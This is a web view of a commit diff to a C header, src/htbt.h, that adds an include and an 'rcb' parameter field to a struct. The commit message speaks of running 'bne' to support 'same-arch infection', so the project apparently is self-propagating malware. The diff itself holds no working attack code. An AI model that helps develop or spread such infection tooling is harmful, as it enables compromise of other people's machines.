aboutsummaryrefslogtreecommitdiff
path: root/src/htbt.h
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2021-07-22 22:30:48 +1000
committerDavid Timber <mieabby@gmail.com>2021-07-22 22:30:48 +1000
commit5a98bcd78867b4fb1a272ce26774c8811f28750d (patch)
treefebb7d4d3112d4ce598cd9352fc81d2da2d54ca6 /src/htbt.h
parenta0b92490365dc88d50c81780ff9ebb6ddb681e5e (diff)
Impl PRNE_HTBT_OP_RCB ...
* Parameterize prne_start_bin_rcb() args * Change value of PRNE_ARCH_NONE to 0 to use it over the wire (problem arises deserialising) * tostr() and fstr() functions set errno to EINVAL * Run bne without binary archive to support same-arch infection
Diffstat (limited to 'src/htbt.h')
-rw-r--r--src/htbt.h2
1 files changed, 2 insertions, 0 deletions
diff --git a/src/htbt.h b/src/htbt.h
index 3d6a42c..45debf0 100644
--- a/src/htbt.h
+++ b/src/htbt.h
@@ -2,6 +2,7 @@
#include "pth.h"
#include "resolv.h"
#include "protocol.h"
+#include "pack.h"
#include <mbedtls/ssl.h>
@@ -35,6 +36,7 @@ struct prne_htbt_param {
prne_resolv_t *resolv;
prne_htbt_cbset_t cb_f;
void *cb_ctx;
+ const prne_rcb_param_t *rcb;
int blackhole;
};